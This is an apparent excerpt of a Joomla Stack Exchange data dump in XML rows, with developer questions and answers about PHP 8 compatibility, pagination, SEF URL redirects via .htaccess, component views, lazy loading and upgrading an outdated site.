  <row Id="32577" PostTypeId="1" CreationDate="2022-11-26T06:48:20.983" Score="1" ViewCount="54" Body="&lt;p&gt;Am displaying list of news haviing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Date&#xA;&#xA;News Heading&#xA;&#xA;Short Descrption&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The list is spread to around 100 pages, having 20 news in each page&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Issue is&lt;/strong&gt;: This is working absolute fine in php 7.4.x in joomla 3.10 where on clicking url - list is shown spread over multiple pages having sort by date wise as first criteria, latest date of publishing is coming&lt;/p&gt;&#xA;&lt;p&gt;But when same used on php 8.0.x - its showing incorrectly, where on clicking URL - last page of list having page number 100 is shown first. Now when i add on limitstart=0 in url then its showing correctly as the first page.&lt;/p&gt;&#xA;&lt;p&gt;Seems like URL when opened is directly taking to last page of first most news item as published (although no limitstart is mentioned in it)&lt;/p&gt;&#xA;&lt;p&gt;Below is code of views/list/tmpl/default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if(count($this-&amp;gt;items) &amp;gt;0){&#xA;    //$i=1;&#xA;    &#xA;    foreach($this-&amp;gt;items as $newslist)&#xA;    {&#xA;        $date = JFactory::getDate($newslist-&amp;gt;n_date);&#xA;        $list .='&amp;lt;h3&amp;gt;&amp;lt;strong&amp;gt;'.$newslist-&amp;gt;v_heading.'&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;'. $date-&amp;gt;format('F j, Y').'&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;'.substr($newslist-&amp;gt;v_short_description,0,100).'&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;i&amp;gt;Know More on:- &amp;lt;/i&amp;gt;&amp;lt;a href=&amp;quot;index.php?option=com_news&amp;amp;view=detail&amp;amp;v_id='.$newslist-&amp;gt;id.'&amp;amp;Itemid='.$Itemid.'&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;'.$newslist-&amp;gt;v_heading.'&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;hr/&amp;gt;&amp;lt;br&amp;gt;';&#xA;                &#xA;        //$i=$i+1;&#xA;    }&#xA;}else{&#xA;        JError::raiseError(404, &amp;quot;Message&amp;quot;);&#xA;    &#xA;}&#xA;&#xA;&amp;lt;?php echo $list?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;and for models/list.php this is the function&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery()&#xA;    {&#xA;        // Create a new query object.&#xA;        $db    = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        // Select the required fields from the table.&#xA;        $query&#xA;            -&amp;gt;select(&#xA;                $this-&amp;gt;getState(&#xA;                    'list.select', 'DISTINCT a.*'&#xA;                )&#xA;            );&#xA;&#xA;        $query-&amp;gt;from('`#__news` AS a');&#xA;                &#xA;        if (!JFactory::getUser()-&amp;gt;authorise('core.edit', 'com_news'))&#xA;        {&#xA;            $query-&amp;gt;where('a.state = 1');&#xA;        }&#xA;&#xA;        // Filter by search in title&#xA;        $search = $this-&amp;gt;getState('filter.search');&#xA;&#xA;        if (!empty($search))&#xA;        {&#xA;            if (stripos($search, 'id:') === 0)&#xA;            {&#xA;                $query-&amp;gt;where('a.id = ' . (int) substr($search, 3));&#xA;            }&#xA;            else&#xA;            {&#xA;                $search = $db-&amp;gt;Quote('%' . $db-&amp;gt;escape($search, true) . '%');&#xA;                $query-&amp;gt;where('( a.n_heading LIKE ' . $search . ' )');&#xA;            }&#xA;        }&#xA;        &#xA;/*&#xA;        // Add the list ordering clause.&#xA;        $orderCol  = $this-&amp;gt;state-&amp;gt;get('list.ordering');&#xA;        $orderDirn = $this-&amp;gt;state-&amp;gt;get('list.direction');&#xA;&#xA;        if ($orderCol &amp;amp;&amp;amp; $orderDirn)&#xA;        {&#xA;            $query-&amp;gt;order($db-&amp;gt;escape($orderCol . ' ' . $orderDirn));&#xA;        }&#xA;*/      //Order by date&#xA;        &#xA;        $query-&amp;gt;order ('a.n_date DESC');&#xA;        $query-&amp;gt;order ('a.id DESC');&#xA;        &#xA;        return $query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Unsure how to achieve in and why its not working in php 8.0 where Date wise should be shown on clicking url in descending order&#xA;Any help on above !!&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2022-11-26T06:48:20.983" Title="workable php 7.4 function in joomla 3.10 is working weird in php 8.0" Tags="|php|mysql|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32578" PostTypeId="2" ParentId="32556" CreationDate="2022-11-26T06:52:20.587" Score="1" Body="&lt;p&gt;An easier way would be to go for the cache cleaner component in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;It's a lot better as the plugin has compatibility with latest version and can clean cache at intervals too.&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2022-11-26T08:21:55.267" LastActivityDate="2022-11-26T08:21:55.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32579" PostTypeId="1" CreationDate="2022-11-27T09:52:00.410" Score="0" ViewCount="29" Body="&lt;p&gt;I have a regular way of returning to the menu item originated from by using the following in the controller of my component:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $menu = Factory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;    $url = (empty($menu-&amp;gt;link) ? 'index.php?option=com_mycomponent&amp;amp;view=transactions' : $menu-&amp;gt;link.'&amp;amp;Itemid='.$menu-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I come from a modal view there is no menu retrieved and it defaults to the home page.  Anyone have a suggestion to enable me to return to the list view with the menu parameters set?&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2022-11-27T09:52:00.410" Title="Itemid not retrieved from modal" Tags="|joomla-4.x|menu-item|menu-parameters|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32580" PostTypeId="1" CreationDate="2022-11-27T16:39:07.213" Score="0" ViewCount="94" Body="&lt;p&gt;Hi Getting php notice error of only variable should be passed in&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;assignRef('CatList'  , $modelUsedcar-&amp;gt;loadMainCat($brand,$Carmodel));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can anyone suggest on how to make this function better for php 8.0 &amp;amp; joomla 3.10 standards and remove error&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class UsedcarViewCategory extends JViewLegacy&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $mainframe =JFactory::getApplication();&#xA;        $option = JRequest::getCmd('option');&#xA;        $db         =   JFactory::getDBO();&#xA;        $user               = JFactory::getUser();&#xA;        $model              = $this-&amp;gt;getModel();&#xA;        $modelUsedcar   = $this-&amp;gt;getModel( 'category' );            &#xA;        $brand = JRequest::getVar('brand','','default','int');&#xA;        $Carmodel = JRequest::getVar('model','','default','int');&#xA;        $id = JRequest::getVar('id','','default','int');    &#xA;        $this-&amp;gt;assignRef('CatList'  , $modelUsedcar-&amp;gt;loadMainCat($brand,$Carmodel));&#xA;        parent::display($tpl);&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2024-03-22T18:04:25.537" Title="joomla php notice error of only variable should be passed in" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32581" PostTypeId="2" ParentId="32580" CreationDate="2022-11-27T17:40:31.440" Score="0" Body="&lt;p&gt;My mistake as catlist was not defined&#xA;Its solved&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$CatList = $modelUsedcar-&amp;gt;loadMainCat($brand,$Carmodel);&#xA;        $this-&amp;gt;assignRef('CatList'  , $CatList);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2022-11-27T17:40:31.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32582" PostTypeId="2" ParentId="23865" CreationDate="2022-11-28T02:27:06.303" Score="1" Body="&lt;p&gt;Since this question has been written there are simpler options for inserting columns into content that do not require writing the HTML or CSS code yourself such as:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the free &lt;a href=&quot;https://extensions.joomla.org/extension/n1ed&quot; rel=&quot;nofollow noreferrer&quot;&gt;N1ED TinyMCE Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &lt;a href=&quot;https://www.joomlacontenteditor.net/support/documentation/columns/creating-and-editing-columns&quot; rel=&quot;nofollow noreferrer&quot;&gt;columns feature&lt;/a&gt; of the Professional version of &lt;a href=&quot;https://extensions.joomla.org/extension/jce&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCE Editor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The nice thing about using these tools is that the columns are WYSIWYG in the back-end of the website which makes the styling more obvious when you (or someone else) edits the content later.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-11-28T02:27:06.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32583" PostTypeId="1" CreationDate="2022-11-28T08:21:02.477" Score="0" ViewCount="42" Body="&lt;p&gt;I want to use Joomla's way to handle images in my component. My component offers a field to select a folder where some images are stored (used as gallery upon the related item). In dev everything works fine but on on staging the Website is currently available via domain.com/sub. The whole Joomla Installation is placed in this &amp;quot;sub&amp;quot; folder on the hosting environement. Now images in this gallery within my component are not working because of a wrong path on staging. But the images from the Joomla Media Field (item image) are working (the path there is correct interpreted by joomla itself - I think this is because of the way the image field stores the metadata and creates the image routes.&lt;/p&gt;&#xA;&lt;p&gt;Is there a Helper class where i can insert the JPATH to an image and get the &amp;quot;joomla like&amp;quot;&#xA;relativePath#joomlaImage://local-images/&lt;em&gt;relativePath&lt;/em&gt;?width... out off?&lt;/p&gt;&#xA;&lt;p&gt;I cand find anythin related in the Docs on how about create Image Metadata like the Image field does.&lt;/p&gt;&#xA;&lt;p&gt;I think this could solve my path issues&lt;/p&gt;&#xA;&lt;p&gt;Edit: Added Helper Class Code including &lt;em&gt;quick and dirty fix&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;abstract class GalleryHelper {&#xA;    public static function getGalleryImages($type, $selectedFolder): array&#xA;    {&#xA;&#xA;        $galleryImages = [];&#xA;        if($type === 'packages'){&#xA;            $folderToEquipmentImages = '/images/equipmentmanager/'.$type.'/galleries/';&#xA;        }else{&#xA;            $folderToEquipmentImages = '/images/equipmentmanager/'.$type.'/';&#xA;        }&#xA;&#xA;        $imgsPath = JPATH_SITE . $folderToEquipmentImages . $selectedFolder;&#xA;        if (is_dir($imgsPath))&#xA;        {&#xA;            // Allowed filetypes&#xA;            $allowedExtensions = array('jpg', 'jpeg', 'png', 'gif');&#xA;            // Also allow filetypes in uppercase&#xA;            $allowedExtensions = array_merge($allowedExtensions, array_map('strtoupper', $allowedExtensions));&#xA;            // Build the filter. Will return something like: &amp;quot;jpg|jpeg|png|JPG|JPEG|PNG|gif|GIF&amp;quot;&#xA;            $filter = implode('|', $allowedExtensions);&#xA;            $filter = &amp;quot;^.*\.(&amp;quot; . implode('|', $allowedExtensions) . &amp;quot;)$&amp;quot;;&#xA;            // Get the files&#xA;            $galleryImages = Folder::files($imgsPath, $filter, false, false, $exclude = array('index.html'));&#xA;            // Prepend the folder path to the filenames&#xA;            $galleryImages = array_map(function($img) use ($folderToEquipmentImages, $selectedFolder) {&#xA;                $folderToEquipmentImages = preg_replace('#/#', '', $folderToEquipmentImages, 1);&#xA;                return  \JUri::base() . $folderToEquipmentImages . $selectedFolder . '/' . $img;&#xA;            }, $galleryImages);&#xA;&#xA;        }&#xA;        return $galleryImages;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see i had to use the slash at the beginning to &lt;em&gt;find&lt;/em&gt; the images in the filestystem and then remove it later in the foreach loop to generate the full URI&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2022-11-28T09:32:40.020" LastActivityDate="2022-11-28T09:32:40.020" Title="How to build an Imagefield like string in PHP" Tags="|custom-component|joomla-4.x|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32584" PostTypeId="1" CreationDate="2022-11-28T14:53:11.143" Score="0" ViewCount="67" Body="&lt;p&gt;I'm interesting in developing a custom command-line class in Joomla4, but I don't know where to get started.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone provide a general example on how to set up a class for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="12352" LastEditDate="2022-11-28T23:27:56.237" LastActivityDate="2022-11-29T22:38:08.257" Title="How to setup a custom command-line class in Joomla4?" Tags="|joomla-4.x|cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32585" PostTypeId="1" CreationDate="2022-11-28T18:01:42.243" Score="1" ViewCount="585" Body="&lt;p&gt;My SEO team has reported duplicate URLs. I have turned on SEF URLs and I have renamed &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This does not show the &lt;code&gt;index.php&lt;/code&gt; when I click on the link, but if I manually add it back in then I can still see the page.  e.g. both of these URLs continue to work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;example.com/foldername/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;example.com/index.php/foldername/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How could I make a redirect which would remove &lt;code&gt;index.php&lt;/code&gt; from any combination of folder and redirect it?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="28" LastEditDate="2022-11-28T23:24:24.797" LastActivityDate="2022-11-28T23:24:24.797" Title="How can I redirect all index.php from URLs to stop duplicate URLs?" Tags="|.htaccess-configuration|redirect|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32586" PostTypeId="2" ParentId="32585" CreationDate="2022-11-28T18:25:08.893" Score="0" Body="&lt;p&gt;Google is not stupid. In my opinion this is pointless and I won't paste the code that makes that redirect. SEO fools will moan, but google bots won't.&lt;/p&gt;&#xA;&lt;p&gt;Duplicate entries are visible when you type site:mysite.xxx into google. I hardly believe they see any duplicates, canonicals, etc.&lt;/p&gt;&#xA;&lt;p&gt;People who claim seo might require money. Check &amp;quot;site&amp;quot; tag at google first and push your site into google services to get errors etc before you start to listen to anyone.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="16651" LastEditDate="2022-11-28T20:26:18.260" LastActivityDate="2022-11-28T20:26:18.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32587" PostTypeId="2" ParentId="32585" CreationDate="2022-11-28T18:40:30.020" Score="1" Body="&lt;p&gt;You can add something like the following to the top of the root &lt;code&gt;.htaccess&lt;/code&gt; file to 301 redirect requests for &lt;code&gt;/index.php/&amp;lt;anything&amp;gt;&lt;/code&gt; back to &lt;code&gt;/&amp;lt;anything&amp;gt;&lt;/code&gt; (the canonical URL) - to make your SEO team happy:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Remove &amp;quot;index.php&amp;quot; from the start of the URL-path&#xA;RewriteRule ^index\.php(?:/(.*))?$ https://example.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;example.com&lt;/code&gt; is your canonical hostname (www vs non-www etc.). By including an absolute/canonical URL here, it potentially avoids multiple redirects later.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;$1&lt;/code&gt; backreference contains the URL-path following &lt;code&gt;index.php&lt;/code&gt; (if any), less the slash prefix - as captured by the &lt;code&gt;RewriteRule&lt;/code&gt; &lt;em&gt;pattern&lt;/em&gt;. So, this will also match both &lt;code&gt;/index.php&lt;/code&gt; and &lt;code&gt;/index.php/&lt;/code&gt; and redirect to &lt;code&gt;https://example.com/&lt;/code&gt; (the homepage) in both cases.&lt;/p&gt;&#xA;&lt;p&gt;This redirect is &lt;em&gt;essential&lt;/em&gt; for SEO &lt;em&gt;if&lt;/em&gt; you have only recently enabled SEF URLs and the old URLs containing &lt;code&gt;index.php&lt;/code&gt; have already been indexed by search engines, or linked to by external third parties. However, if you implement SEF URLs from the very beginning then it is unlikely that search engines / third parties will find the non-canonical URLs so is unlikely to cause issues (but not impossible).&lt;/p&gt;&#xA;&lt;p&gt;You don't need to include an additional &lt;code&gt;RewriteEngine On&lt;/code&gt; directive, since this already occurs &lt;em&gt;later&lt;/em&gt; in the file. Or, include the above rule immediately after the &lt;code&gt;RewriteEngine&lt;/code&gt; directive - to make it more &amp;quot;readable&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Note that you should first test with a 302 (temporary) redirect to avoid potential caching issues. 301 (permanent) redirects are cached persistently by the browser so can make testing problematic.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2022-11-28T19:18:15.533" LastActivityDate="2022-11-28T19:18:15.533" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32588" PostTypeId="2" ParentId="18019" CreationDate="2022-11-28T21:32:29.773" Score="0" Body="&lt;p&gt;Redirects made to this page are still broken. There's no big deal. The page template is badly written. There is no term such as &lt;strong&gt;&amp;quot;mobile version&amp;quot;.&lt;/strong&gt; Every website starts its life from desktop or mobile, no matter how far you try :)&lt;/p&gt;&#xA;&lt;p&gt;I mark this topic as dead end.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2022-11-28T21:32:29.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32589" PostTypeId="2" ParentId="32574" CreationDate="2022-11-29T07:46:55.737" Score="1" Body="&lt;p&gt;In System &amp;gt; Global Configuration &amp;gt; Site make sure that under Metadata &amp;gt; Robots is set to &amp;quot;index,follow&amp;quot; in the dropdown.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2022-11-29T07:46:55.737" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32590" PostTypeId="2" ParentId="32548" CreationDate="2022-11-29T16:42:44.550" Score="1" Body="&lt;p&gt;I added a namespace to my manifest file, and the issue is resolved.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src/&amp;quot;&amp;gt;TestComp\Component\Testcomponent&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-11-29T16:42:44.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32591" PostTypeId="1" AcceptedAnswerId="32613" CreationDate="2022-11-29T17:05:46.260" Score="0" ViewCount="304" Body="&lt;p&gt;On a new Joomla 4 site, I activated user registration, with profile activation via link sent by email.&lt;/p&gt;&#xA;&lt;p&gt;In the tests I did, I found that new users do not receive the email with the activation link.&#xA;I have already checked the config settings for sending php/smtp messages.&#xA;Furthermore, the site administrator correctly receives the email of the new registered user.&lt;/p&gt;&#xA;&lt;p&gt;I need help solving this problem. Can anyone who already faced this problem help me?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7532" LastActivityDate="2022-12-07T13:13:33.870" Title="Joomla 4 does not send emails to users after registration" Tags="|joomla-4.x|registration|user-registration|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32592" PostTypeId="2" ParentId="32584" CreationDate="2022-11-29T21:37:57.870" Score="1" Body="&lt;p&gt;These are two references I think cover the basics and should get you started.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dionysopoulos.me/book/com-cli.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book/com-cli.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/june-2022/joomla-4-a-powerful-cli-application&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/june-2022/joomla-4-a-powerful-cli-application&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second one is a little less focused on the development aspects, being a broader overview, but it does have a reference at the bottom with links to more reading.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2022-11-29T22:38:08.257" LastActivityDate="2022-11-29T22:38:08.257" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32594" PostTypeId="1" AcceptedAnswerId="32599" CreationDate="2022-11-30T22:52:16.800" Score="0" ViewCount="457" Body="&lt;p&gt;I'm building a simple Joomla 4 component, and I need to use a json view for some ajax requests.  Just starting the testing process, and ran into an odd seemingly unrelated error message. I don't get this in HTML views, and the session storage is set to database.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;:  session_write_close(): Failed to write session data using user defined save handler. (session.save_path: \Users\username\OneDrive\Documents\Development\xampp\tmp) in &amp;lt;b&amp;gt;C:\Users\username\OneDrive\Documents\Development\xampp\htdocs\joomla\libraries\vendor\joomla\session\src\Storage\NativeStorage.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;114&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;My URL:&lt;/strong&gt;&lt;br&gt;&#xA;http://localhost/joomla/index.php?option=com_testcomponent&amp;amp;view=json&amp;amp;format=json&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;site\src\View\Json\JsonView.php&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Component\Testcomponent\Site\View\Json;&#xA;&#xA;use Joomla\CMS\MVC\View\JsonView as BaseJsonView;&#xA;&#xA;class JsonView extends BaseJsonView&#xA;{&#xA;    public $json;&#xA;    &#xA;    public function display($tpl = null)&#xA;    {&#xA;        $array = [&#xA;            'key1' =&amp;gt; 'value1',&#xA;            'key2' =&amp;gt; 'value2',&#xA;            'key3' =&amp;gt; 'value3',&#xA;            'key4' =&amp;gt; 'value4'&#xA;        ];&#xA;        $this-&amp;gt;json = json_encode($array);&#xA;        &#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;site\tmpl\json\json.php&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?= $this-&amp;gt;json; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-12-01T17:45:53.110" Title="Joomla 4 Component json output" Tags="|joomla-4.x|joomla-4|joomla-4.1|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32595" PostTypeId="1" CreationDate="2022-12-01T11:00:35.947" Score="1" ViewCount="214" Body="&lt;p&gt;everyone.&lt;/p&gt;&#xA;&lt;p&gt;I've read this: &lt;a href=&quot;https://magazine.joomla.org/all-issues/january-2021/using-native-lazyloading-on-your-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/january-2021/using-native-lazyloading-on-your-website&lt;/a&gt;, so it's clear to me that media images inserted in articles content will be lazy-loaded by default.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What about the Intro and Full Article images on the &amp;quot;Images and links Tab&amp;quot;?&lt;/strong&gt;&#xA;Are they also lazy-loaded by default?&#xA;Is there any tweak I must use on overriding content templates?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-08-10T14:37:14.680" Title="About Joomla 4 Lazy Loading feature" Tags="|development|joomla-4.x|template-override|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32596" PostTypeId="2" ParentId="32595" CreationDate="2022-12-01T13:31:56.090" Score="2" Body="&lt;p&gt;Yes, both images are lazy loaded by default. These images are rendered using &lt;code&gt;layouts/joomla/content/intro_image.php&lt;/code&gt; and &lt;code&gt;layouts/joomla/content/full_image.php&lt;/code&gt; layouts which in turn use the &lt;code&gt;layouts/joomla/html/image.php&lt;/code&gt; layout which is where the &lt;code&gt;loading&lt;/code&gt; attribute is added and the &lt;code&gt;img&lt;/code&gt; tag is rendered. If the &lt;code&gt;loading&lt;/code&gt; attribute does not appear it could be that your template has a layout override that prevents these layouts from being used.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-01T13:31:56.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32597" PostTypeId="1" AcceptedAnswerId="32626" CreationDate="2022-12-01T14:39:40.893" Score="1" ViewCount="60" Body="&lt;p&gt;I've got a Joomla site that I'm preparing to upgrade to Joomla 4.  I'm currently using the sh404SEF component to create SEF urls that use the article's alias (Ex: example.com/about-us).  I need a another component or method of replicating the current URLs and to continue the pattern for future articles.  Our site is a smaller church site so I'm just looking for a reliable, affordable solution.&lt;/p&gt;&#xA;&lt;p&gt;Note that the sh404SEF author is taking the opportunity to totally rewrite the component as an SEO component. The current component is not Joomla 4 compatible. They have split off their SEF solution into a separate component but it is not production ready and they don't seem to have enough testers to make it so. Thus I don't want to continue using it.&lt;/p&gt;&#xA;" OwnerUserId="16744" LastEditorUserId="12652" LastEditDate="2022-12-12T06:48:13.333" LastActivityDate="2022-12-12T06:56:17.457" Title="Replicate SEF URLs Using Article Alias" Tags="|sef|seo|alias|navigation|extension-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32598" PostTypeId="1" CreationDate="2022-12-01T16:14:58.157" Score="0" ViewCount="45" Body="&lt;p&gt;I'm new to Joomla and the site I'm taking over needs critical updates and has for some time. It needs 14 extension updates, and I'm getting this message:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Your site is currently using PHP 7.2.2. This version of PHP has become End-of-Life since Monday, 30 November 2020. It has not received security updates for a very long time. You MUST NOT use it for a live site!&#xA;Akeeba Backup will stop supporting your version of PHP very soon. You must very urgently upgrade to a newer version of PHP. You can check our Compatibility page to see which versions of PHP are supported by each version of our software, select the newest one that fits your site's needs and upgrade your site to it. You can ask your host or your system administrator for instructions on upgrading PHP. It's easy and it will make your site faster and more secure.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I'm very green here, can anyone provide me with steps to take to backup and update the site without losing everything or crashing it?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16745" LastActivityDate="2022-12-07T13:10:20.313" Title="New to Joomla and my site needs critical updates. HELP!" Tags="|php|extensions|update|upgrade|extension-update|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32599" PostTypeId="2" ParentId="32594" CreationDate="2022-12-01T17:45:53.110" Score="0" Body="&lt;p&gt;Posted this to the Joomla Issue Tracker.&#xA;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/39341&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/39341&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-12-01T17:45:53.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32600" PostTypeId="2" ParentId="32598" CreationDate="2022-12-01T23:27:51.457" Score="2" Body="&lt;p&gt;There is a not a simple step by step answer for you unfortunately as there is so much information we don't know about your hosting and Joomla environment. The approaches available will general fall into either the update-in-place or clone/copy which I think is the better way to go if it is available to you as be sure your updated site works without impact the current site.&lt;/p&gt;&#xA;&lt;p&gt;You obviously have Akeeba Backup so taking a backup, or two, with that product is probably the first thing you can do and download at least one backup to somewhere other than your the default directory inside your Joomla installation. Getting familiar with the backup and restoring of Joomla instances using Akeeba is something you really should learn how to do and be comfortable with as you may need to recover your Joomla site if something goes wrong.&lt;/p&gt;&#xA;&lt;p&gt;On your hosting environment manager(cPanel,Plesk) you will need to understand whether you can have multiple versions of PHP used at the same time, eg. PHP 7.2 and PHP 8.0. Regardless try restoring a backup into a different directory in your hosting account, essentially giving you a clone/copy of your Joomla instance, that you work with to update the extensions and even the core Joomla as you don't mention what version you are on. If the clone/copy of your site can use PHP 8 without impacting your current site then that is the better way to go.&lt;/p&gt;&#xA;&lt;p&gt;If you aren't comfortable with the cloning/copy approach then you can follow the update-in-place method where you back up your site, update one or two of your extension to a later level that supports PHP 8, test that they work and update a couple of more extensions and test again, How often you might like to take a backup during this process is up to you as it will 